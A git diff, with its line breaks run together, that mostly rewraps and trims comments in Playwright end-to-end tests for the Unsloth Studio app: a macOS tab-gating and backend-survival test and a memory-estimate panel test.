@@ def run(page, state: Runtime) -> None:f"unloads={state.unloads} toasts={said!r}",)- # ── The preference ──────────────────────────────────────────────────+ # ── The preference ────────────────────────────────────────────────────state.reset()state.chat = chat(active_model = "unsloth/Qwen3-4B", loaded = ["unsloth/Qwen3-4B"])# Nothing stored: a fresh install shows no card even with a model resident.diff --git a/tests/studio/playwright_mac_tab_capabilities.py b/tests/studio/playwright_mac_tab_capabilities.pyindex acb596eeab9..5b5b6862fc8 100644--- a/tests/studio/playwright_mac_tab_capabilities.py+++ b/tests/studio/playwright_mac_tab_capabilities.py@@ -70,8 +70,8 @@ from _playwright_robust import ( # noqa: E402)BASE = os.environ["BASE_URL"]-# STUDIO_OLD_PW is what the repo's own macOS workflow exports; STUDIO_PW is what the-# staging harness exports. Accept either so the same script runs under both.+# STUDIO_OLD_PW is what the repo's own macOS workflow exports;+# STUDIO_PW is what the staging harness exports.OLD = os.environ.get("STUDIO_OLD_PW") or os.environ["STUDIO_PW"]# What to rotate the bootstrap password to, when the app forces a change on first# login. Only used on that path: a harness that already rotated over the API (the@@ -80,42 +80,36 @@ NEW = os.environ.get("STUDIO_NEW_PW") or f"{OLD}-Rotated1!"ART = Path(os.environ.get("PW_ART_DIR", "logs/playwright_mac_tabs"))ART.mkdir(parents = True, exist_ok = True)-# How long to keep polling the backend. The reported crash landed at t+66s, so the-# window has to reach well past that; the workflow narrows it to 120s because nothing in-# this phase runs the launcher's watchdog and the longer window buys no extra evidence.+# How long to keep polling the backend. The reported crash landed at t+66s, so the window has to reach well past that;+# the workflow narrows it to 120s because nothing in this phase runs the launcher's watchdog and the longer window buys+# no extra evidence.SURVIVAL_S = float(os.environ.get("STUDIO_MAC_SURVIVAL_S", "330"))POLL_INTERVAL_S = float(os.environ.get("STUDIO_MAC_POLL_INTERVAL_S", "5"))WALL_TIMEOUT_S = float(os.environ.get("STUDIO_UI_WALL_TIMEOUT_S", "900"))# How long the forced-verdict check gives the row to settle into its pending state.FORCED_PENDING_S = float(os.environ.get("STUDIO_MAC_FORCED_PENDING_S", "15"))-# Matches HEALTH_PROBE_TIMEOUT in studio/src-tauri/src/commands.rs, so a probe here waits-# as long as the launcher's does before calling it a miss. It is the only watchdog number-# this file needs; see BackendSurvivalPoller.report for why it does not mirror the rest.+# Matches HEALTH_PROBE_TIMEOUT in studio/src-tauri/src/commands.rs, so a probe here waits as long as the launcher's does+# before calling it a miss. It is the only watchdog number this file needs;+# see BackendSurvivalPoller.report for why it does not mirror the rest.PROBE_TIMEOUT_S = 10.0# How long to keep watching after sampling stops before calling a stall terminal.-#-# Sized from the stalls actually observed on this job rather than from a round number. In-# run 32862298967 one macOS runner produced four of them, at 10.03s, 25.1s, 27.75s and-# 33.2s, so a window that decides "this one never ended" has to comfortably clear 33.2s.+# Sized from the stalls actually observed on this job rather than from a round number. In run 32862298967 one macOS+# runner produced four of them, at 10.03s, 25.1s, 27.75s and 33.2s, so a window that+# decides "this one never ended" has to comfortably clear 33.2s.# 90s is a little under three times that.#-# This EXTENDS OBSERVATION; it is not a retry. A retry re-asks a question that already has-# an answer and hopes for a better one, which is how a flaky test hides a real failure. The-# question here has no answer yet: a probe that timed out says only that nothing came back-# within its budget, and the run ended at an arbitrary point that may fall mid-stall. A-# backend that is genuinely dead answers none of these probes either, so the window costs-# these seconds only on a run that was already going to fail, and it cannot turn a real-# death into a pass.+# This EXTENDS OBSERVATION; it is not a retry. A retry re-asks a question that already has an answer and hopes for a+# better one, which is how a flaky test hides a real failure. The question here has no answer yet: a probe that timed+# out says only that nothing came back within its budget, and the run ended at an arbitrary point that may fall+# mid-stall. A backend that is genuinely dead answers none of these probes either, so the window costs these seconds+# only on a run that was already going to fail, and it cannot turn a real death into a pass.RECOVERY_WINDOW_S = 90.0# Minimum spacing between recovery probes.-#-# _transport_kind classifies a connection reset as a stall rather than a death, on-# purpose, because a reset means a listener accepted and then failed to finish. But a-# reset comes back in about a millisecond, so an unpaced loop turns this window into-# thousands of connections against a backend that is already in trouble, which can-# prolong the fault it is waiting to clear. Spacing costs nothing on the case that-# matters: a real stall spends the full probe budget before returning, so no pause is-# added at all there.+# _transport_kind classifies a connection reset as a stall rather than a death on purpose, because a reset means a+# listener accepted and then failed to finish. But a reset comes back in about a millisecond, so an unpaced loop turns+# this window into thousands of connections against a backend that is already in trouble, which can prolong the fault+# it is waiting to clear. Spacing costs nothing on the case that matters: a real stall spends the full probe budget+# before returning, so no pause is added at all there.RECOVERY_PROBE_SPACING_S = 2.0# Health replies are a few hundred bytes; these bound a body read that is going wrong._READ_CHUNK_BYTES = 65536@@ -123,11 +117,11 @@ _MAX_BODY_BYTES = 1 << 20LIVENESS_PATH = "/api/liveness"HEALTH_PATH = "/api/health"-# Both are polled, and an answer from either is proof the backend was serving, matching-# check_health_inner, which probes /api/liveness and falls back to /api/health.+# Both are polled, and an answer from either is proof the backend was serving, matching check_health_inner, which probes+# /api/liveness and falls back to /api/health.PROBE_PATHS = (LIVENESS_PATH, HEALTH_PATH)-# Every tab the user reported interacting with, plus the ones that share the-# chat-only gate. (route, nav row id, human name).+# Every tab the user reported interacting with, plus the ones that share the chat-only gate.+# (route, nav row id, human name).TABS = [("/chat", "projects", "Chat"),("/hub", "hub", "Hub"),@@ -137,8 +131,8 @@ TABS = [("/export", "export", "Export"),]-# Routes that mean "not signed in". Landing on one invalidates every later assertion,-# so they are matched explicitly rather than folded into the generic redirect check.+# Routes that mean "not signed in". Landing on one invalidates every later assertion, so they are matched explicitly+# rather than folded into the generic redirect check._SIGNED_OUT_PATHS = ("/login", "/change-password")# Rows the sidebar pins inline by default, per SIDEBAR_NAV_DEFAULT_PINNED in@@ -157,14 +151,13 @@ _SIGNED_OUT_PATHS = ("/login", "/change-password")INLINE_ROW_IDS = ("hub", "projects", "images", "video", "train")# The row every pending-state assertion below is pinned to.GATED_ROW_ID = "train"-# Intercept pattern for the browser's health reads. Matches whether api-base.ts builds a-# relative path or an absolute one.+# Intercept pattern for the browser's health reads.+# Matches whether api-base.ts builds a relative path or an absolute one._HEALTH_ROUTE = "**/api/health"_failed: list[str] = []-# Every nav row located anywhere in the tab walk. A walk that never finds the rows the-# sidebar pins by default proves nothing about the gating, so it is a failure rather-# than a stream of info lines.+# Every nav row located anywhere in the tab walk. A walk that never finds the rows the sidebar pins by default proves+# nothing about the gating, so it is a failure rather than a stream of info lines._rows_seen: set[str] = set()@@ -224,8 +217,8 @@ def _read_within(resp, deadline: float) -> str:chunks.append(chunk)total += len(chunk)if total > _MAX_BODY_BYTES:- # A health reply is a few hundred bytes. Anything this large is a fault, and- # reading it to the end would be another way to sit here indefinitely.+ # A health reply is a few hundred bytes. Anything this large is a fault, and reading it to the end would+ # be another way to sit here indefinitely.raise TimeoutError("response body exceeded the probe's size cap")return b"".join(chunks).decode("utf-8", "replace")@@ -266,8 +259,8 @@ def _probe_once(path: str, timeout: float) -> tuple[int, dict | None, str]:# A connect-time failure arrives wrapped, so the reason decides, not the class.return 0, None, _transport_kind(exc.reason)except Exception as exc:- # A read-time failure raises directly: TimeoutError, or an http.client error- # when the peer went away mid-response.+ # A read-time failure raises directly: TimeoutError, or an http.client error when the peer went away+ # mid-response.return 0, None, _transport_kind(exc)@@ -306,8 +299,8 @@ def _get_json(path: str, timeout: float = PROBE_TIMEOUT_S) -> tuple[int, dict |worker.join(timeout)if outcome:return outcome[0]- # Either still running, or it died without recording anything. Both are "no answer- # inside the budget", which is exactly what a timeout means here.+ # Either still running, or it died without recording anything. Both are "no answer inside the budget", which is+ # exactly what a timeout means here.return 0, None, "timeout"@@ -335,15 +328,12 @@ def await_recovery(while True:remaining = window_s - (time.monotonic() - began)if probes and remaining <= 0:- # No time left to give a probe. Starting one anyway is how the watch ran- # past its own bound: the pacing sleep is clamped to the window, so the- # loop could arrive here with nothing left and still begin a full-budget- # request. That is the overrun the wall watchdog exists to catch, and it- # would terminate the run before the report it is waiting for.+ # No time left to give a probe. Starting one anyway is how the watch ran past its own bound: the pacing+ # sleep is clamped to the window, so the loop could arrive here with nothing left and still begin a+ # full-budget request. That is the overrun the wall watchdog exists to catch.break- # Never hand out more budget than the window has left either. A probe started- # near the end with the default PROBE_TIMEOUT_S can outlive the window by most- # of that budget on its own.+ # Never hand out more budget than the window has left either. A probe started near the end with the default+ # PROBE_TIMEOUT_S can outlive the window by most of that budget on its own.probe_began = time.monotonic()status, _, kind = _get_json(LIVENESS_PATH, timeout = min(PROBE_TIMEOUT_S, remaining))# Recorded in the same shape and on the same clock as the poller's samples, so@@ -432,15 +422,13 @@ class BackendSurvivalPoller:"status": status,"kind": kind,"ms": round((time.monotonic() - began) * 1000, 1),- # Recorded for whoever reads the artifact after a stall, since- # "was it generating at the time" is the first question asked of- # one. No verdict below reads it.+ # Recorded for whoever reads the artifact after a stall, since "was it generating at the time"+ # is the first question asked of one. No verdict below reads it."inference_active": (body or {}).get("inference_active"),"hardware_detecting": (body or {}).get("hardware_detecting"),- # Stage 0 of the warm only sets hardware_detecting; this one stays- # lit through the transformers and datasets imports after it, so the- # pair is what tells a reader of the artifacts how wide the real- # provisional window on this host was.+ # Stage 0 of the warm only sets hardware_detecting; this one stays lit through the transformers+ # and datasets imports after it, so the pair is what tells a reader of the artifacts how wide+ # the real provisional window on this host was."torch_warm_in_progress": (body or {}).get("torch_warm_in_progress"),})@@ -470,10 +458,9 @@ class BackendSurvivalPoller:rather than failing; measuring spans from the poller's samples alone would let itpass in silence."""- # Written below, once the recovery probes have been folded in. Serialising- # self.samples alone published a healthy timeline next to a log reporting a long- # post-run stall, which removes the evidence a reader needs to check the very- # thing the warning announces.+ # Written below, once the recovery probes have been folded in.+ # Serialising self.samples alone published a healthy timeline next to a log reporting a long post-run stall,+ # which removes the evidence a reader needs to check the very thing the warning announces.for path in PROBE_PATHS:got = [s for s in self.samples if s["path"] == path]if not got:@@ -487,13 +474,13 @@ class BackendSurvivalPoller:f"{path}: {len(got)} samples, {len(bad)} miss(es), worst {worst}ms, "f"{unmeasured} with an unmeasured verdict, {warming} with the warm still running")- # These two are the backend saying something, not failing to. Neither is a- # stall, so neither gets the watchdog's patience: they fail on sight.+ # These two are the backend saying something, not failing to. Neither is a stall, so neither gets the+ # watchdog's patience: they fail on sight.refused = [s for s in got if s["kind"] == "refused"]answered_badly = [s for s in got if s["kind"] == "http"]if refused:- # The port stopped accepting. Nothing transient does this to a backend- # that is meant to be up, so it is fatal on the first occurrence.+ # The port stopped accepting. Nothing transient does this to a backend that is meant to be up, so it+ # is fatal on the first occurrence.fail(f"{path}: connection refused at t={refused[0]['t']}s; the port was gone, ""so the backend did not stay up through the warm window"@@ -506,34 +493,22 @@ class BackendSurvivalPoller:)# What is left of the verdict, and deliberately so.+ # This used to replay the launcher's watchdog: a 15s grid, three consecutive misses, the widened budget while+ # inference_active is latched, the 30s last-chance probe.+ # This phase gets STUDIO_MAC_SURVIVAL_S = 120 (.github/workflows/studio-mac-ui-smoke.yml), while the busy path+ # alone is HEALTH_WATCHDOG_MAX_FAILURES_BUSY * 15s plus a 30s confirmation, about 210s, and+ # BACKEND_STARTUP_GRACE_PERIOD is 300s before a backend that has not yet answered healthy counts a failure at+ # all. The watchdog is not running here either: this phase boots `unsloth studio` directly, with no Tauri+ # shell, and the watchdog's own behaviour is covered by the Rust tests beside it in commands.rs.#- # This used to replay the launcher's watchdog: a 15s grid, three consecutive- # misses, the widened budget while inference_active is latched, the 30s- # last-chance probe. Mirroring that state machine in Python turned every detail- # of studio/src-tauri/src/commands.rs into a correctness requirement for a smoke- # test, and it cannot pay off here for two reasons.- #- # The window is too small for the rule to run. This phase gets- # STUDIO_MAC_SURVIVAL_S = 120 (.github/workflows/studio-mac-ui-smoke.yml), while- # the busy path alone is HEALTH_WATCHDOG_MAX_FAILURES_BUSY * 15s plus a 30s- # confirmation, about 210s, and BACKEND_STARTUP_GRACE_PERIOD is 300s before a- # backend that has not yet answered healthy counts a failure at all. A verdict- # reached in 120s is a statement about a rule that never had room to run.- #- # And the watchdog is not running here in the first place. This phase boots- # `unsloth studio` directly, with no Tauri shell, which the workflow says at the- # step itself; the watchdog's own behaviour is covered by the Rust tests beside- # it in commands.rs. So the rule was being re-implemented to judge a process that- # was not subject to it.+ # What is left is the part that needs no arithmetic and cannot false-positive: a backend that stops answering+ # and never comes back did not survive. Anything that answers again did, on any reading of any budget, so it+ # warns and passes. A threshold put back here has to be strictly longer than the launcher's most generous+ # path, and nothing that long fits in this window.#- # What is left is the part that needs no arithmetic and cannot false-positive: a- # backend that stops answering and never comes back did not survive. Anything- # that answers again did, on any reading of any budget, so it warns and passes.- # If you are tempted to put a threshold back, it has to be strictly longer than- # the launcher's most generous path, and nothing that long fits in this window.- # One timeline: the poller's samples then the watch's probes, same clock. A span- # is therefore measured across the join rather than truncated at it, and a stall- # that starts after sampling stops gets a span of its own instead of none.+ # One timeline: the poller's samples then the watch's probes, same clock. A span is therefore measured across+ # the join rather than truncated at it, and a stall that starts after sampling stops gets a span of its own+ # instead of none.observed = list(self.samples) + list(recovery_samples)(ART / "survival_samples.json").write_text(json.dumps(observed, indent = 1),@@ -556,12 +531,11 @@ class BackendSurvivalPoller:"but reporting itself unhealthy")elif final_kind == "timeout":- # Nothing came back for the whole recovery window. A stall that was going to- # end had every one of those seconds to end in.+ # Nothing came back for the whole recovery window. A stall that was going to end had every one of those+ # seconds to end in.if terminal is not None:- # terminal spans the recovery probes too, now that they are on the same- # timeline, so the total already includes the watch. Naming the watch- # again as extra time on top of it would count it twice.+ # terminal spans the recovery probes too, now that they are on the same timeline, so the total already+ # includes the watch. Naming the watch again as extra time on top of it would count it twice.fail(f"the backend stopped answering at t={round(terminal[0], 1)}s and never "f"answered again: {round(terminal[1] - terminal[0], 1)}s of silence in "@@ -578,9 +552,9 @@ class BackendSurvivalPoller:# is green. Say so anyway: a stall this long is a real backend defect even# when it is not a fatal one, and it must not vanish into a pass.worst_ms = max(s["ms"] for s in observed)- # Where the longest stall sits relative to the end of sampling decides what- # can honestly be said about it. All three cases are recovered stalls; only- # the first one cleared while the run was still watching in the normal way.+ # Where the longest stall sits relative to the end of sampling decides what can honestly be said about it.+ # All three cases are recovered stalls; only the first one cleared while the run was still watching in the+ # normal way.if widest is None or widest[1] <= sampling_ended:cleared = "It answered again before the run ended."elif widest[0] >= sampling_ended:@@ -648,10 +622,9 @@ def log_in(page) -> bool:* The submit button is labelled "Login", not "Sign in"."""page.goto(BASE, wait_until = "domcontentloaded", timeout = 120000)- # A backend that still has its one-time bootstrap password injects it into the page- # and signs itself in, landing on /change-password with no login form ever rendered.- # Check that BEFORE waiting on #password, or the wait burns 60s and reports "no- # password field" for a session that is actually authenticated.+ # A backend that still has its one-time bootstrap password injects it into the page and signs itself in, landing on+ # /change-password with no login form ever rendered. Check that BEFORE waiting on #password, or the wait burns 60s+ # and reports "no password field" for a session that is actually authenticated.try:page.wait_for_url(lambda url: "/change-password" in url or "/login" in url,@@ -690,10 +663,9 @@ def log_in(page) -> bool:)except Exception:info(f"still on {page.url} 60s after submitting the login form")- # A first login with the bootstrap password lands on /change-password- # (session.ts:93 getPostAuthRoute -> mustChangePassword), which is a- # signed-out route here because it has no sidebar to assert against.- # The session is real, so finish the rotation instead of giving up.+ # A first login with the bootstrap password lands on /change-password (session.ts:93 getPostAuthRoute ->+ # mustChangePassword), which is a signed-out route here because it has no sidebar to assert against. The+ # session is real, so finish the rotation instead of giving up.if "/change-password" in page.url:rotate_password(page)except Exception as exc:@@ -760,9 +732,8 @@ def sample_natural_warm_window(page) -> None:try:state = row_states(page, (GATED_ROW_ID,))except Exception as exc:- # Only fatal before anything was read: a page that cannot be evaluated at all- # is the signed-out/unrendered shape, and breaking out of it quietly is how- # this function used to report success on zero observations.+ # Only fatal before anything was read: a page that cannot be evaluated at all is the signed-out/unrendered+ # shape, and breaking out of it quietly is how this function used to report success on zero observations.if samples == 0:fail(f"could not read the sidebar during the unmeasured window ({exc!r})")else:@@ -822,10 +793,9 @@ def assert_pending_state_on_forced_verdict(page) -> None:f"(status {status}); the forced pending-state check could not run")return- # A real reply with the measurement removed, so the only thing the browser sees- # differently is the field under test. device_type is what env.ts reads as "measured",- # and chat_only stays the conservative pre-detection default -- the exact pair a Mac- # got on first paint in the field report, where the row blacked out.+ # A real reply with the measurement removed, so the only thing the browser sees differently is the field under test.+ # device_type is what env.ts reads as "measured", and chat_only stays the conservative pre-detection default --+ # the exact pair a Mac got on first paint in the field report, where the row blacked out.provisional = {k: v for k, v in live.items() if k not in ("device_type", "hardware_detection_deferred")}@@ -849,16 +819,16 @@ def assert_pending_state_on_forced_verdict(page) -> None:"come up or the row is gated on the verdict it is supposed to spin on")return- # The row derives its state synchronously from the store, but the store is filled- # by the root route's beforeLoad, so give it frames rather than one read.+ # The row derives its state synchronously from the store, but the store is filled by the root route's+ # beforeLoad, so give it frames rather than one read.deadline = time.monotonic() + FORCED_PENDING_Sgot = Nonewhile True:try:got = row_states(page, (GATED_ROW_ID,)).get(GATED_ROW_ID)except Exception as exc:- # Raising out of here would skip the survival report and the exit code- # main() is built around, so it lands as a failure like any other.+ # Raising out of here would skip the survival report and the exit code main() is built around, so it+ # lands as a failure like any other.fail(f"could not read the {GATED_ROW_ID} row under a forced verdict ({exc!r})")returnif got and got["spinner"] and not got["disabled"]:@@ -912,9 +882,9 @@ def drive_tabs(page) -> None:# without the capability. What it must not do is bounce while the verdict# is still unknown, which is the race this run is here to catch.if signed_out(landed):- # Never legitimate here: the session was proven signed in before the walk- # started. Calling this an allowed redirect is exactly how a run that- # authenticated with nobody goes green having exercised nothing.+ # Never legitimate here: the session was proven signed in before the walk started. Calling this an+ # allowed redirect is exactly how a run that authenticated with nobody goes green having exercised+ # nothing.fail(f"{name}: bounced to the login page at {landed}; the session was lost mid-walk")continueif route not in landed:@@ -926,15 +896,15 @@ def drive_tabs(page) -> None:else:info(f"{name}: redirected to {landed} after a measured verdict (allowed)")- # Read every inline row, not just this tab's: they render together, so one read- # records that the sidebar came up at all and keeps the per-route detail in the log.+ # Read every inline row, not just this tab's: they render together, so one read records that the sidebar came+ # up at all and keeps the per-route detail in the log.try:_rows_seen.update(rid for rid, got in row_states(page).items() if got)except Exception as exc:info(f"{name}: could not read the sidebar rows ({exc!r})")- # Clicking the row is the interaction the user reported; a greyed-out row- # swallows the click, so this doubles as a check that it is reachable.+ # Clicking the row is the interaction the user reported; a greyed-out row swallows the click, so this doubles+ # as a check that it is reachable.try:row = page.locator(f'[data-testid="nav-row-{row_id}"]')if row.count() > 0 and row.first.is_enabled():@@ -943,12 +913,12 @@ def drive_tabs(page) -> None:elif row.count() > 0:info(f"{name}: nav row present but disabled (measured verdict)")elif row_id in INLINE_ROW_IDS:- # Not an info line: this row is pinned inline by default, so its absence- # means the sidebar did not render and this tab checked nothing.+ # Not an info line: this row is pinned inline by default, so its absence means the sidebar did not+ # render and this tab checked nothing.fail(f"{name}: nav row {row_id} is pinned inline by default but did not render")else:- # Expected and permanent for Video and Export: they live under "More",- # which renders no test id. Reached by route instead.+ # Expected and permanent for Video and Export: they live under "More", which renders no test id.+ # Reached by route instead.info(f"{name}: nav row not pinned inline; reached by route instead")except Exception as exc:info(f"{name}: row click did not land ({exc!r})")@@ -979,9 +949,7 @@ def main() -> int:step("login")if not log_in(page):- # Every assertion past this point reads the authenticated shell. Signed out,- # the sidebar does not render, so the tab checks would find no rows, report- # nothing, and the run would go green having tested none of what it claims.+ # Every assertion past this point reads the authenticated shell.fail("could not sign in; the tab assertions below would all be vacuous")poller.finish()poller.report()@@ -996,8 +964,8 @@ def main() -> int:"the tab gating was never actually exercised, so a green run here would mean nothing")- # Hold the session open until the survival window is covered. The reported- # crash landed at t+66s, well inside this.+ # Hold the session open until the survival window is covered.+ # The reported crash landed at t+66s, well inside this.remaining = SURVIVAL_S - (time.monotonic() - began)if remaining > 0:step(f"holding the session for {remaining:.0f}s more to outlive the watchdog grace")@@ -1025,10 +993,9 @@ def main() -> int:recovery_samples = recovery,)- # Cancelled only now. The recovery watch adds up to RECOVERY_WINDOW_S after the UI- # drive, so disarming before it ran left the longest-running part of the script with- # nothing enforcing WALL_TIMEOUT_S, and a probe that would not end had the job's own- # cap as its only bound. A hung job reports nothing, which is the worst outcome here.+ # Cancelled only now. The recovery watch adds up to RECOVERY_WINDOW_S after the UI drive, so disarming before it ran+ # left the longest-running part of the script with nothing enforcing WALL_TIMEOUT_S, and a probe that would not end+ # had the job's own cap as its only bound. A hung job reports nothing, which is the worst outcome here.watchdog.cancel()if _failed:diff --git a/tests/studio/playwright_memory_estimate.py b/tests/studio/playwright_memory_estimate.pyindex 5df4d651204..6861a3ab532 100644--- a/tests/studio/playwright_memory_estimate.py+++ b/tests/studio/playwright_memory_estimate.py@@ -69,10 +69,9 @@ from _playwright_robust import ( # noqa: E402BASE = os.environ["BASE_URL"]NEW = os.environ.get("STUDIO_NEW_PW", "MemEst-NEW-2026!")-# Attach mode: log into an already-provisioned Unsloth with an existing password instead-# of the first-boot change-password dance. The CI step runs this after the model-config-# scene against the SAME server, whose bootstrap password that scene has already rotated,-# so there is no change-password flow left to drive there.+# Attach mode: log into an already-provisioned Unsloth with an existing password instead of the first-boot+# change-password dance. The CI step runs this after the model-config scene against the SAME server, whose bootstrap+# password that scene has already rotated, so there is no change-password flow left to drive there.LOGIN_PW = os.environ.get("STUDIO_LOGIN_PW")LOGIN_USER = os.environ.get("STUDIO_LOGIN_USER", "unsloth")GGUF_REPO = os.environ.get("GGUF_REPO", "unsloth/gemma-3-270m-it-GGUF")@@ -86,24 +85,21 @@ GGUF_VARIANT = os.environ.get("GGUF_VARIANT", "UD-Q4_K_XL")# panel -- no Context Length control, no memory row, the row being GGUF-only -- and the# suite reported the feature missing. The repo's own name cannot collide that way.MODEL_HINT = os.environ.get("STUDIO_MODEL_HINT") or GGUF_REPO.rsplit("/", 1)[-1]-# Context Lengths for the four re-prices. Each must be valid (>=128, a multiple of 128,-# under the model's ceiling) and DIFFERENT from what the control is showing at the time.-#-# That last part is a property of the control, not a precaution: the box reads "Auto"-# until focused and then reveals the context the load would fit to (8192 here), and-# typing the number already displayed commits no onChange, so the request key never moves-# and no re-price happens. Measured: typing 8192 into a box showing 8192 produced zero-# requests; every other value produced one. Hence chosen at the moment of typing, against-# what the box says, rather than fixed per step.+# Context Lengths for the four re-prices. Each must be valid (>=128, a multiple of 128, under the model's ceiling) and+# DIFFERENT from what the control is showing at the time. That last part is a property of the control, not a precaution:+# the box reads "Auto" until focused and then reveals the context the load would fit to (8192 here), and typing the+# number already displayed commits no onChange, so the request key never moves and no re-price happens. Measured: typing+# 8192 into a box showing 8192 produced zero requests; every other value produced one. Hence chosen at the moment of+# typing, against what the box says, rather than fixed per step.CTX_CANDIDATES = [int(part)for part in os.environ.get("STUDIO_CTX_CANDIDATES", "6144,5120,4096,3072,2048,1536").split(",")if part.strip()]ART_DIR = os.environ.get("PW_ART_DIR", "logs/playwright_memory_estimate")-# Settle window after run-settings opens, before staging an edit. Same reason as-# playwright_model_config.py: an edit made in the panel's first moments is discarded when-# the panel re-derives its baseline once mount-time work lands.+# Settle window after run-settings opens, before staging an edit.+# Same reason as playwright_model_config.py: an edit made in the panel's first moments is discarded when the panel+# re-derives its baseline once mount-time work lands.CONFIG_SETTLE_MS = int(os.environ.get("STUDIO_CONFIG_SETTLE_MS", "1000"))ART = Path(ART_DIR)ART.mkdir(parents = True, exist_ok = True)@@ -118,9 +114,9 @@ ESTIMATE_WAIT_MS = int(os.environ.get("STUDIO_UI_ESTIMATE_WAIT_MS", "20000"))TRANSCRIPT_NAME = "memory-estimate-exchanges.json"GIB = 1024**3-# Exact quarter-GiB figures on purpose: `formatBytesGiB` is `(bytes / 1024**3).toFixed(2)`,-# and a quarter of a GiB is exactly representable, so the string the app renders is-# predictable to the last digit on every engine rather than a rounding argument.+# Exact quarter-GiB figures on purpose: `formatBytesGiB` is `(bytes / 1024**3).toFixed(2)`, and a quarter of a GiB is+# exactly representable, so the string the app renders is predictable to the last digit on every engine rather than a+# rounding argument.STUB_WEIGHTS_BYTES = int(3.25 * GIB)STUB_KV_BYTES = int(1.50 * GIB)STUB_COMPUTE_BYTES = int(0.75 * GIB)@@ -212,8 +208,8 @@ exchanges: list[dict] = []UNAVAILABLE_BODY = {"available": False,- # The reason a real backend gives for a GGUF whose file is not on this disk, which- # is the commonest way a user meets the hidden row.+ # The reason a real backend gives for a GGUF whose file is not on this disk, which is the commonest way a user meets+ # the hidden row."reason": "not_downloaded","weights_bytes": 0,"kv_bytes": 0,@@ -357,17 +353,15 @@ with sync_playwright() as p:ctx = browser.new_context(viewport = {"width": 1280, "height": 900},reduced_motion = "reduce",- # One assertion reads a number the app formatted with `toLocaleString`, whose- # group separator is a property of the locale. Left to the engine's default,- # 8192 renders "8,192" on one runner and "8 192" on another, and the gate would- # be measuring the runner.+ # One assertion reads a number the app formatted with `toLocaleString`, whose group separator is a property of+ # the locale. Left to the engine's default, 8192 renders "8,192" on one runner and "8 192" on another, and the+ # gate would be measuring the runner.locale = "en-US",)install_view_transition_killer(ctx)- # On the CONTEXT, not the page: a page replaced by the recovery helper below would- # otherwise lose the interception and reach the real endpoint, which on a runner with- # no GGUF answers unavailable -- so the row would hide and this would read as the- # feature being broken.+ # On the CONTEXT, not the page: a page replaced by the recovery helper below would otherwise lose the+ # interception and reach the real endpoint, which on a runner with no GGUF answers unavailable, so the row would+ # hide and this would read as the feature being broken.ctx.route("**/api/inference/estimate-memory*", _handle_estimate)page = ctx.new_page()page.set_default_timeout(60_000)@@ -416,8 +410,6 @@ with sync_playwright() as p:},)- # ─────────────────────────────────────────────────────- # Setup: authenticate.# ─────────────────────────────────────────────────────if LOGIN_PW:step("setup: API login + token seed (attach to running Unsloth)")@@ -587,16 +579,16 @@ with sync_playwright() as p:if reveal_on_device_row(popover, hint) is None:diagnose("no-picker-row", f"[data-model-picker-option] has_text={hint!r}")return None- # The quant first: with "Expand quantizations" on, a repo-only lookup finds some- # gear straight away and which one is arbitrary. Repo-only stays as the fallback,- # for the collapsed sole-quant row whose label carries its own quant.+ # The quant first: with "Expand quantizations" on, a repo-only lookup finds some gear straight away and which+ # one is arbitrary. Repo-only stays as the fallback, for the collapsed sole-quant row whose label carries its+ # own quant.gear = row_gear(popover, hint, quant = GGUF_VARIANT, timeout_ms = QUANT_GEAR_MS)if gear is None:gear = row_gear(popover, hint)if gear is None:- # A multi-quant repo shows gears only once the row is expanded, and clicking- # a collapsed sole-quant row loads it and closes the picker -- so reopen and- # look again rather than treating a closed picker as a missing gear.+ # A multi-quant repo shows gears only once the row is expanded, and clicking a collapsed sole-quant row+ # loads it and closes the picker -- so reopen and look again rather than treating a closed picker as a+ # missing gear.if select_on_device_row(popover, hint) is None:diagnose("no-row-gear", f"Inference settings for ...{hint}")return None@@ -634,12 +626,11 @@ with sync_playwright() as p:# component itself, so neither depends on a class name that a restyle can move.# ─────────────────────────────────────────────────────ESTIMATE_LABEL = re.compile(r"Estimated Memory Usage", re.I)- # The run-settings panel exists more than once in this document -- the picker keeps- # its own copy mounted behind the one on screen -- so a bare `.first` is a coin- # toss, and the copy it landed on in CI was one the user cannot see: the row was- # painted, screenshotted, and reported missing for twenty seconds. Take the first- # match that is actually on screen, and say which strategy found it, because "the- # row is not there" and "the row is there twice" are the same failure otherwise.+ # The run-settings panel exists more than once in this document -- the picker keeps its own copy mounted behind the+ # one on screen -- so a bare `.first` is a coin toss, and the copy it landed on in CI was one the user cannot see:+ # the row was painted, screenshotted, and reported missing for twenty seconds. Take the first match that is actually+ # on screen, and say which strategy found it, because "the row is not there" and "the row is there twice" are the+ # same failure otherwise._match_note: list[str] = []def _first_visible(loc, label: str):@@ -716,8 +707,7 @@ with sync_playwright() as p:content_id = Noneif not content_id:return ""- # Attribute selector, not `#id`: React's useId mints ids containing ':', which is- # not a valid CSS id selector.+ # Attribute selector, not `#id`: React's useId mints ids containing ':', which is not a valid CSS id selector.panel = page.locator(f'[id="{content_id}"]').firstif _count(panel) == 0:return ""@@ -798,8 +788,7 @@ with sync_playwright() as p:before = len(exchanges)try:box.fill(str(value))- # Commit the draft: a value left focused mid-edit has been seen to stay a- # draft on the slower engines.+ # Commit the draft: a value left focused mid-edit has been seen to stay a draft on the slower engines.box.press("Tab")except Exception as exc:fail(f"{label}: could not type {value} into the Context Length control: {exc}")@@ -849,9 +838,8 @@ with sync_playwright() as p:else:info("OK row: Estimated Memory Usage rendered for the GGUF target")if "role=button" not in _match_note:- # Only the structural locator found it, so the toggle is not reachable by- # role -- an ancestor is hiding it from the accessibility tree, or its- # accessible name is not what it reads as. Reported rather than gated+ # Only the structural locator found it, so the toggle is not reachable by role -- an ancestor is hiding it+ # from the accessibility tree, or its accessible name is not what it reads as. Reported rather than gated# while it is unproven which; the line above names the strategy that won.runtime_warn("the row was found only by markup, not by role=button: a screen "@@ -872,9 +860,7 @@ with sync_playwright() as p:if priced is not None:info(f"OK request: estimate re-priced at n_ctx={priced_ctx}")body = priced["request"]- # The rest of what the panel is supposed to price. Presence, not value: the- # values are the machine's and the user's, but a request that stopped carrying- # a field means the estimate has silently stopped answering for that setting.+ # The rest of what the panel is supposed to price.required = ("model_path", "n_ctx", "cache_type_kv", "n_parallel", "gpu_memory_mode")missing = [key for key in required if key not in body]if missing:@@ -909,17 +895,16 @@ with sync_playwright() as p:else:head = header_text()info(f"row header text: {head!r}")- # Case-insensitively: the pill is written "Beta" in the source and rendered- # "BETA" by a CSS `uppercase`, so `inner_text` returns the transformed string and- # an exact-case check fails on a pill that is right there on screen.+ # Case-insensitively: the pill is written "Beta" in the source and rendered "BETA" by a CSS `uppercase`, so+ # `inner_text` returns the transformed string and an exact-case check fails on a pill that 